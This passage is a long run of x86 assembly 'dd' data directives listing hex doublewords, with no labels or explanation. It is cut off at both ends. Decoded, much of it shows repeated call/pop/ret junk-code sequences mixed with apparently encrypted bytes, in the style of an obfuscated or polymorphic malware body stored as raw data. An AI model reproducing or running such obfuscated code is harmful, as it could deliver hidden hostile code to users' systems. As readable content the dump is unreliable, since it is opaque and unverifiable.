0C9B55300h, 610E771Ah dd 2C118D89h, 8C6605EAh, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 73A2A999h, 8BC9E158h dd 68B0FDEh, 23000000h, 0EA2BE59Dh, 4E18005h, 11E8h, 0EDBCA100h dd 4EC71121h, 70E7DF51h, 0B69EE33Ch, 0B529B1E2h, 5EA3171h dd 0FC90A5Fh, 15284h, 74C38100h, 8B793EBFh, 0EA162985h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0ECE5CA33h, 0D78166F8h, 0B70FC943h, 358533D9h dd 6A05EA15h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0B21FC351h, 5059C7B2h, 48940B3h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 59B350Fh, 1AB004CDh, 81006AF8h, 0F0104CF7h dd 12716819h, 525078FEh, 5BBAE8BBh, 66310F0Dh, 5A4B51BFh dd 24348158h, 78E1118Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 4BC35646h, 655E8939h, 0C01EC377h, 7B99589h dd 95FF05EAh, 5EA320Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0C9C35040h, 0E8E6B91Fh, 14E91253h, 1B000000h dd 613C0E31h, 87E77C3Bh, 9001B66Fh, 81DD5202h, 895AA3BFh dd 0EDD9E085h, 8D0F05h, 0E9000000h, 252h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 15h, 0BBC35545h, 6840F7Dh dd 8B000000h, 0EA2EE19Dh, 0D19D8B05h, 8B05EA28h, 0EDD9D885h dd 12890F05h, 53000000h, 0BE9h, 3543A300h, 4AF9E0F7h, 63C6555h dd 1800C75Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 4886C353h, 719D8B34h dd 8B05EA2Ch, 0EDD9DCB5h, 0E5858B05h, 0F05EA29h, 687h dd 0BD8D8900h, 8905EA06h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0AEE87B55h dd 664EAAB7h, 858BDA8Bh, 5EA1629h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 1C35646h, 14A1BD8Bh, 468905EAh dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 65FAF592h, 0C842792Bh, 0BD29CAE3h, 5EA1DD1h dd 0DE9h, 0DE908D00h, 7395387Ch, 53D02735h, 0E896B91Ah dd 0Bh, 656E5F60h, 0F6CD0F07h, 0B3C6E07Eh, 96505FC0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 8CC35242h, 0BDDB25CDh dd 0FF46F9E4h, 0EDD9D8B5h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 427D702Eh dd 0B11E0224h, 4E8E4h, 3FF0000h, 33BB001Fh, 5051F6EDh dd 448BF88Bh, 8B0424h, 12E9h, 0B934B900h, 0E19036DDh, 0AA3B0711h dd 0A00CBAEAh, 891AEE9Ch, 66042444h, 58D7C3BBh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 20C35545h, 6692795Bh dd 0D2B3F98Bh, 0D9E0858Dh, 870F05EDh, 1, 8E0F90F8h, 2 dd 8B5079B3h, 6A90FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 6C88C6C3h, 3231BD8Bh, 10E905EAh dd 0F000000h, 878EECF1h, 0FC5C079Ch, 3BF345E1h, 0FFFA05B6h dd 0EA320D95h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 6A610A2Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6246C352h dd 7C659512h, 132C7669h, 87F38166h, 0F585C77Bh, 305EA25h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 6339C353h, 0A287C417h, 0BD83FF71h dd 5EDD9E0h, 2C840F00h, 89000000h, 0EA29A585h, 3CE905h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 7A6D2EC3h, 50E152FEh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 932C2C3h dd 32FC3777h, 0A5BD8B73h, 6A05EA02h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 7E3BC350h dd 5D2C2853h, 3349CDBBh, 835F5311h, 0EA25F5BDh, 850F0305h dd 499h, 178A0Fh, 12E90000h, 59000000h, 5D5DA15Fh, 0AFE7D4E1h dd 8B06B56Eh, 0D781C545h, 0E0BD83D8h, 5EDD9h, 46F840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0CDB06DC3h, 0AA270F81h, 36B77F9Eh, 0D9E0B5FFh dd 816005EDh, 4D395BEBh, 0F8B70F32h, 8D95FF61h, 6A05EA12h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 70CDC353h, 1DD4A7C2h, 0BB66EDF9h, 0B58B02F8h dd 5EDD9D4h, 0C61ED781h, 6C71FA6h, 10001h, 1DBD8B50h, 5B05EA1Ah dd 0E8525050h, 8, 0B1E2B69Eh, 8FD1DC80h, 0E9310F5Fh, 0Bh dd 89128E11h, 86397E61h, 5A74DC35h, 24348958h, 24859D8Bh dd 10E905EAh, 79000000h, 0A02550D2h, 0D0D6C8BFh, 0EA6AE328h dd 0FF9264FAh, 0EDD9E0B5h, 998D2905h, 0FF05EA13h, 0EA326995h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 6021B6CFh, 11820Fh, 0BE80000h, 29000000h dd 39100730h, 9D48B5D0h, 0E95FAB96h, 9, 7E5AD9FCh, 0E620587Ch dd 9D8B6191h, 5EA19D1h, 0D9D4B58Bh, 6A05EDh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B6A5AC3h dd 0EA088185h, 8B73B705h, 0EA1051BDh, 0C4868905h, 0E8000000h dd 0Ch, 5DF8D12Fh, 4EE912AEh, 0DE6E3643h, 2551B509h, 8B5B05EAh dd 0EA0ADD95h, 35BD8B05h, 8B05EA23h, 0EA08CDBDh, 4C28305h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 2BC35343h dd 93592911h, 335E3A6Ah, 0EA251D9Dh, 20508905h, 59B58950h dd 5B05EA07h, 0EB67858Dh, 952905EDh, 5EA1219h, 0B88689h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0D7E557C3h, 334BEC5Ch, 13E9h, 0B7373800h dd 0C25F640Dh, 33DC1A8Ch, 47894075h, 0B2C4EC8h, 6A006AF8h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 36EDC353h, 70937F60h, 0F7784DE8h, 4668C381h dd 0B5FF2517h, 5EDD9E0h, 12E9h, 60F89E00h, 768901E1h, 8FBDDC0Ch dd 3CD8BFB0h, 0FFEC7A0Bh, 0EA163D95h, 0B1BD8B05h, 5005EA0Dh dd 0CE95250h, 1F000000h, 50F0A907h, 0C7B2933h, 0F4CFBB3h dd 5B535631h, 89585A5Bh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0BD8BF9C3h, 5EA251Dh dd 19B9B589h, 0B5FF05EAh, 5EDD9E0h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0C2C35242h, 309FB3F0h, 0E18B827Dh dd 0D8D0FBAh, 0E9000000h, 8, 6A9457BBh, 6548AD95h, 15A995FFh dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0F0E02C3h, 8589EB4Ah, 5EA2C21h, 22D8529h dd 0BD8305EAh, 5EA115Dh, 6E840F00h, 89000000h, 0EA0CD985h dd 30A8BF05h, 0F9646CDh, 1E84h, 60525000h, 0E9310F61h dd 11h, 22A387FBh, 0B8F103E6h, 0CFC593E2h, 8D6F4461h, 50585ABDh dd 96FE8B66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 60C35646h, 107AD723h, 8B50C672h, 0EA299D9Dh, 0AE95F05h dd 0B000000h, 0AD11679Dh, 494ECF8Ch, 0E0B5FFBCh, 6A05EDD9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 10D2C350h, 282D7F5Ah, 1B2304B6h, 1E819D8Bh dd 95FF05EAh, 5EA1CC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 44C35343h, 89C61C39h, 0EA238585h, 0E0B5FF05h dd 6605EDD9h, 95FFDF8Bh, 5EA230Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0C8C35646h, 0C5204D80h, 8396B57Eh dd 0EA0631BDh, 840F0205h, 39h, 95F38166h, 95858B72h, 6605EA0Ch dd 0C6D21CBFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 2E4A38C3h, 8BE65892h, 0EA1EA5BDh dd 7D85C705h, 5EA09h, 89000000h, 0EA2E6995h, 0F194E905h dd 0BD8BFFFFh, 5EA1625h, 8D31C18Bh, 5EA3159h, 298D858Dh dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0DC483EC3h, 95896199h, 5EA2D31h, 0BE85090h dd 0E9000000h, 0F8F8C69Ah, 391E3A2Ah, 905F3A66h, 6508DB81h dd 6A4B05h, 9006AFCh, 0EA02C995h, 0B5858D05h, 6A05EEF4h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0FC79C355h, 223DEBECh, 50BE2170h, 23D99D89h dd 0C08305EAh, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 55CA0391h, 0D4F0EDE5h dd 13A59589h, 8A5005EAh, 240489F9h, 81D9D8Bh, 6A05EAh dd 6870Fh, 9D230000h, 5EA1BFDh, 6B3006Ah, 1E8E0Fh, 12E80000h dd 4F000000h, 504BDB2Bh, 0C4BC784h, 0E13D7863h, 73436134h dd 0C985090Bh, 5F05EA0Ah, 23E995FFh, 0BD2305EAh, 5EA00B9h dd 0D89D8D8Dh, 0B58905EDh, 5EA1CDDh, 6AD1FFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 457506C3h dd 3011B0Fh, 0D1BD83FAh, 105EA02h, 9C850Fh, 830F0000h dd 5, 0CCB8166h, 0F5026A3Ah, 14E85090h, 37000000h, 8DEAEF34h dd 9A90490Ah, 0A885B517h, 0F85C6390h, 0E97069BEh, 0Eh dd 0D375E4Bh, 0E10109E4h, 0B43F5A50h, 5F5F16A6h, 60525050h dd 5DD8B966h, 6E9h, 0E02F3000h, 616B8341h, 5060310Fh, 5A310F52h dd 585A6158h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0E95620E8h, 24ADBD8Bh, 880F05EAh dd 6, 11ED8D31h, 95FF05EAh, 5EA163Dh, 2C119D8Bh, 9CE905EAh dd 0E800000Dh, 0 dd 0BFED815Dh, 6A05EEF4h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 93D0C355h, 0C8A130B3h dd 0F353BF66h, 0FEDEBB66h, 0C387858Dh, 6A05EDh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0E99569C3h, 9, 891926CFh, 1F30917Eh, 0CD9D8B46h, 5005EA1Ch dd 4894FB7h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 89FFBF6Dh, 84618FD4h, 0FF646406h dd 35h, 0FE8B6600h, 2C859D8Bh, 896405EAh, 25h, 0DD11BB00h dd 85FF580Fh, 5EA1C49h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0DAC35343h, 75AF147Ch, 0E958DB80h, 0Ch dd 26BAC4ECh, 7E58BADEh, 74322FD2h, 9D8BFF6Ah, 5EA2039h dd 2EADB5FFh, 8B6605EAh, 890FDEh, 0FF000000h, 0EA144995h dd 113E905h, 0DF800000h, 8900B09Bh, 0EA1669B5h, 8B70E605h dd 0EA19B99Dh, 6671E405h, 0A1DFD781h, 830F613Ch, 0F1h dd 0BAC8B60Fh, 6, 1ED9ABBBh, 8BC18B19h, 0EA09559Dh, 4E8C105h dd 12E9h, 3954800h, 0B445D8AEh, 0D4024A34h, 5C9ADF8Eh dd 660E0881h, 4AB3E2F7h, 1CDD9589h, 0C82B05EAh, 0EE9h dd 6A907900h, 0BAD76379h, 0D9A4AE77h, 8B14BCB2h, 9BE9D1h dd 0BF0F0000h, 1858BDBh, 66000000h, 0C083F98Bh, 6800F07h dd 9000000h, 0EA0F71BDh, 0C08305h, 830FD03Bh, 19h, 79B58B60h dd 3105EA1Bh, 0EA0A1995h, 8D296105h, 5EA15CDh, 5CE9h, 0FF8D8B00h dd 0E8FFFFFFh, 6, 28A61EF1h, 5FF9C4E9h, 0F01E183h, 4084h dd 0CE800h, 0F5D60000h, 72B62E66h, 8B7CC7Ch, 0BD0BC594h dd 5EA1E1Dh, 0FFA5835Fh, 0FEFFFFFFh, 0BFA1BB66h, 19589h dd 0DE90000h, 60000000h, 586CAD71h, 0CE4D0EB0h, 0F54E830Eh dd 0E9h, 9AB58D00h, 6A05EE73h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 83F3C352h, 4893B75Dh dd 5660F81Bh, 2C51958Bh, 8B5E05EAh, 0EA0B9995h, 9D896105h dd 5EA0CD9h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0F88B3EC3h, 122D9501h, 95FF05EAh dd 5EA1015h, 0B9FEBF0Fh, 0EDFh, 30098D31h, 0E18305EAh dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 8AFCF957h, 0B8F9h, 95090000h, 5EA2F1Dh dd 0BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 8974FB3Bh, 0EA0371BDh, 0FAB70F05h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 1398531h, 0BD8B05EAh dd 5EA1C5Dh, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 980A1249h, 0FE8B6609h dd 0ADD958Bh, 0D38105EAh, 4807798Ch, 0ACD8D8Bh, 0BD3305EAh dd 5EA3181h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0CA72AC3h, 482A763Fh, 66E02E88h, 8166DE8Bh dd 0B3FF82E7h, 19BD8379h, 5EA08h, 47840Fh, 0F7800000h dd 0B8FB8B20h, 0 dd 17E5BD8Bh, 8D8D05EAh, 5EA4C21h, 0B619D8Bh, 0E1FF05EAh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 43C35646h dd 47A0DDABh, 8B52A9E9h, 0EA13E59Dh, 0F5BD8305h, 5EA25h dd 4D0840Fh, 95890000h, 5EA081Dh, 25F5BD83h, 0F0105EAh dd 4D884h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0F5BD83EBh, 305EA25h, 479860Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 4AF562C3h, 66638379h, 60A12FBFh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0F8C35343h, 6EC51083h, 0E9DA8AF3h dd 0Ch, 89EA13A7h, 0C4E8E129h, 1571B8B6h, 81D98C66h, 6C4E42C7h dd 4E1803Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 56C35747h, 93286029h, 0C90AA84Bh, 183840Fh, 0EF810000h dd 63AA29h, 1629858Bh, 0F6005EAh, 0BD29F6B7h, 5EA0B85h dd 0D3815161h, 6B5A0EFDh, 3585335Fh, 8905EA15h, 0EA181585h dd 11E95005h, 0BC000000h, 91F17AEEh, 19CF8D21h, 0F5C23E70h dd 0F6A704AAh, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0FFC3C352h, 0EEC172EDh dd 49BD0325h, 0E905EA1Ah, 0Bh, 3DB5DF6Fh, 3225AA1Ch, 0FA415E2h dd 0E8Fh, 9E900h, 0D6150000h, 3943875Bh, 6AF29051h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0F333B286h, 9FD838C9h, 0DE8B668Fh, 17FD9529h, 5B6805EAh dd 66D21E6Bh, 481FA8Bh, 98A424h, 55006A2Eh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 2FBBD008h dd 601DAF7Dh, 30658D89h, 0B96605EAh, 0FF6134F9h, 0EA320D95h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 19DDDA69h, 5D8509D6h, 8B05EA29h, 0E78166DAh dd 858933F0h, 5EDD9E0h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0E1C35040h, 0E9F91BD5h, 1D5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 86C35242h, 6DBD8B1Fh dd 8905EA0Dh, 0EA15A59Dh, 0D8858B05h, 6A05EDD9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0FEF8C357h, 0C7707840h, 1800h, 0D8E0F00h, 0E9000000h dd 8, 69491559h, 0C14D5359h, 0D9DCB58Bh, 6A05EDh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 5B4CAAC3h, 0CE8949F5h, 84BB6612h, 0E5858BF2h, 8105EA29h dd 4BB2FDE7h, 8B068938h, 0EA1BC19Dh, 6800F05h, 81000000h dd 0E467D7E3h, 29858B7Bh, 6A05EA16h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0FDAFC356h dd 8B722809h, 0EA2D619Dh, 4468905h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 3AC35747h, 35747CBAh, 0EE19509h dd 539605EAh, 5FDF8B66h, 9658B750h, 0F1DF8166h, 0A9BD8B58h dd 0FF05EA11h, 0EDD9D8B5h, 0F3816605h, 14685FF2h, 53A0BC48h dd 28B95DBBh, 4815B32h, 62BBEB24h, 0E0858D5Fh, 6A05EDD9h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0DFB9C351h, 699D8B9Fh, 9005EA2Ch, 5E85250h dd 73000000h, 0FCA532E6h, 9E9h, 45E97B00h, 8E3C2D0Bh, 0F5B7157h dd 13E831h, 11140000h, 4DAC65Ch, 0C1CFA5D7h, 80B8AFA1h dd 264237DDh, 5FF98B16h, 6650585Ah, 90308ABBh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0B3C35141h, 320D95FFh dd 816005EAh, 0BE1AD4C2h, 0CB8B6607h, 6A6161h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 8EDF22C3h, 153A4B0h, 0EA00E98Dh, 12E95F05h, 1000000h dd 39B2841Dh, 75B56C2h, 0AEC6B895h, 0F7F7A205h, 0F585C7B2h dd 305EA25h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0FCDDC351h, 73EC4410h dd 85E5BD62h, 0EE1BD8Bh, 0BD8305EAh, 5EDD9E0h, 38840F00h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0AAFCC353h, 0F83E6605h, 0C20D1D80h dd 54E727BFh, 0E5BD891Bh, 0E905EA0Dh, 1Eh, 5006CF80h, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0C38BD4C3h, 3C2F452h, 0E867242Dh, 5, 0E4351E5Eh, 0FEBF0FF1h dd 8E95Bh, 47350000h, 1632B124h, 0BD8302ACh, 5EA25F5h dd 44850F03h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 5067C357h, 0DF56EE20h dd 83F98B92h, 0EDD9E0BDh, 840F0005h, 413h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 93C35747h, 32C79564h dd 694DEBDCh, 3D9D8B25h, 0FF05EA10h, 0EDD9E0B5h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 9670A1C8h, 0C398F420h, 0E1B58949h, 0F05EA02h, 68Ah dd 0E58D8900h, 0FF05EA19h, 0EA128D95h, 53BB6605h, 0D4B58B77h dd 6A05EDD9h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0CAAC350h, 0FC3A4030h, 43623127h dd 106C7h, 9D8B0001h, 5EA098Dh, 0E5BD0957h, 5F05EA2Bh dd 44BB6050h, 50101D9Eh, 6158D68Bh, 6A243489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 63ABC357h, 39570609h, 0B5FF0ABDh, 5EDD9E0h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DBC35040h, 8A0F0BFAh dd 5, 0C0A082BBh, 6995FF3Ah, 6A05EA32h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 3CEC350h dd 0EA09659Dh, 0D4B58B05h, 0F05EDD9h, 858BDBB7h, 5EA0881h dd 892EF780h, 0C486h, 0F59D3300h, 8B05EA1Ch, 0EA0ADD95h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 1894DDF7h, 13E931h, 45C20000h, 2238E396h dd 61E1405Dh, 92111266h, 9B70DC91h, 4C283B6h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 15C35040h, 464BB1CFh dd 205089D8h, 14918D89h, 858D05EAh, 5EDEB67h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CDC35141h, 0B8868994h dd 0F000000h, 38Ch, 5BFC5600h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0B7EA59C3h dd 2B15B3C6h, 0D9E0B5FFh, 8D0105EDh, 5EA2575h, 163D95FFh dd 6A05EAh, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0F08075C3h, 962EF1E1h, 8B50FE8Bh, 816696FEh, 0FFCC42F3h dd 0EDD9E0B5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 10CA744Bh, 68D0Fh, 0E3810000h dd 5F478D7Bh, 871BD03h, 95FF05EAh, 5EA15A9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 15C35545h, 0BD839456h dd 5EA115Dh, 36840F00h, 66000000h, 8B50D98Bh, 243489FEh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 68C35343h dd 1F0B5F23h, 9D562C8Bh, 8B6660C4h, 3FD480D9h, 0E0B5FF61h dd 0F05EDD9h, 484h, 5FBB6600h, 0C995FF81h, 0F05EA1Ch, 0B85h dd 6E900h, 0EFB50000h, 8D15A525h, 0D9E0B5FFh, 6A05EDh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 7EEB97C3h, 8E983h, 91630000h, 0F03C4A3h, 0FFF8A1E9h dd 0EA230D95h, 0D9D3305h, 8305EA10h, 0EA0631BDh, 840F0205h dd 7Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 3EC35141h, 2529D59Fh, 55AC9FFFh, 7D8501F7h, 8B05EA1Eh dd 0EA0C9585h, 5CE38005h, 6A0000C6h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 4016C350h dd 36EA7E20h, 8D896087h, 5EA026Dh, 0E961FE8Bh, 14h, 1534356Eh dd 35FEB06h, 0C579B4B8h, 0AAC8134Dh, 0C2E5CF9h, 0C7DFB70Fh dd 0EA097D85h, 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 769463C8h, 0E98FD6A1h dd 0FFFFF360h, 2E099D8Bh, 0C18B05EAh, 59BBD98Bh, 0EB1237BBh dd 97C6E804h, 4D7E903h, 0CC0C0000h, 52857F2Bh, 0CE0DF7A3h dd 50817B2Fh, 0CB0FF5A1h, 5BDA7C28h, 0A0F4A72Bh, 3367145Ah dd 80D48BC9h, 1246F37Ah, 0A4982AB8h, 171D4568h, 0E86D329Bh dd 6BEFE549h, 0EF669CC8h, 71E4EE42h, 0D28AF781h, 0BCD07E28h dd 0DAE2CE2h, 0D3040EAEh, 8B818E22h, 6E0B4259h, 0EA7DFE30h dd 569A6458h, 234FD717h, 1840E38Fh, 26AB72E2h, 8D67D58Bh dd 0E017569Ah, 844A1478h, 0EE8FC057h, 0E1422E82h, 6E1143B9h dd 0D586C8C2h, 65972979h, 25712656h, 0A5FB96DFh, 0E071E36Bh dd 0B6AD6B8Dh, 2A8A2945h, 57106B5Ch, 0ABD99B17h, 0EE1D6A2h dd 4D2634h, 6D7F0000h, 93E549E8h, 1756669Fh, 727BE9ABh dd 340E3886h, 1F6h, 0EA6DAF00h, 6AEDE74Bh, 0EC6D67CBh dd 3B89134Dh, 17566741h, 0A8FA6DB4h, 0ECD12651h, 89832380h dd 0F05A948h, 0D7872BC6h, 0D5DAFB69h, 69EEADDFh, 0D31AE0B4h dd 6D2B7226h, 0E8E24EEDh, 0B21AB667h, 915F90FCh, 51E3BD5Ch dd 1756675Bh, 939536AEh, 46E8BC5Fh, 3A964788h, 7AF3F556h dd 2B8736B9h, 0D9872B47h, 0BCBF5530h, 75D6033Ah, 0F15D0073h dd 0E33AD38Dh, 9A04EACCh, 0B8D489CAh, 222B591Bh, 340F0246h dd 4DB6h, 0ED6DEF00h, 6BE8E24Eh, 175A94CAh, 6702FA48h dd 0ED751756h, 8D822281h, 14465587h, 89C93367h, 0D4C46EAh dd 0E2BCC06Ch, 66F2CA78h, 0DD451756h, 85D03C7Eh, 340E3EE3h dd 3113h, 0ED6D4A00h, 6CE8E24Eh, 1D4367CBh, 892AA8EFh dd 0EA6D84DDh, 9E91E74Bh, 54175666h, 0E99FE616h, 15340E38h dd 0Ah, 31C852BBh, 0F8F9D271h, 0EE6DFE5Bh, 98DF114Fh, 862549E5h dd 50E27826h, 1756675Ch, 0DB6937AFh, 175666E1h, 696FCC54h dd 939935E4h, 1F15B95Ch, 0C7973BD6h, 0BAEA0B79h, 90C3D804h dd 3995488Bh, 1904B014h, 0CBA792EBh, 0FF0AF3A7h, 0E5CA7826h dd 5812BD0Eh, 0EF666CC0h, 69EC1642h, 201264C8h, 3C116D0Dh dd 30A5F262h, 0A62FD581h, 28ADA70Bh, 0A82F2589h, 0D7F75C7h dd 6AF2116Dh, 31A0AA06h, 8C5D25C1h, 731F1573h, 0CB3977DFh dd 204C02AAh, 76E6529Bh, 0B7DC7B2h, 1BB5E18Dh, 52F1A0D5h dd 246B6E1Ah, 1269E2Eh, 39C70000h, 5CB2A2D0h, 570C16EEh dd 0DCF16917h, 5BF85210h, 2C724B5Eh, 0E5C86DE2h, 533AE157h dd 0A58FBECh, 0BD6E27B8h, 0EE42DA12h, 34A671E4h, 2B472B87h dd 0F94BD17Fh, 116D4B03h, 4B17ED5Fh, 0F26A116Dh, 0B8BE1D85h dd 22288435h, 0B9500EABh, 0BA92DA37h, 41E142C1h, 6635A7E9h dd 0B81642EFh, 573BEC51h, 0E64594B5h, 2503DAAEh, 6DEF212Eh dd 3C3069CAh, 69000000h, 104E276Eh, 5666FAA2h, 0F955CD17h dd 5665B58Fh, 6597D517h, 3B655055h, 5665E389h, 104ED617h dd 7D1B96F9h, 55F621C4h, 0E96DA30Dh, 808AE64Ah, 6D01AD4Eh dd 7613CEh, 394A0000h, 7BD782F7h, 68B1B417h, 9759C39Dh dd 6E14B762h, 12BC461Dh, 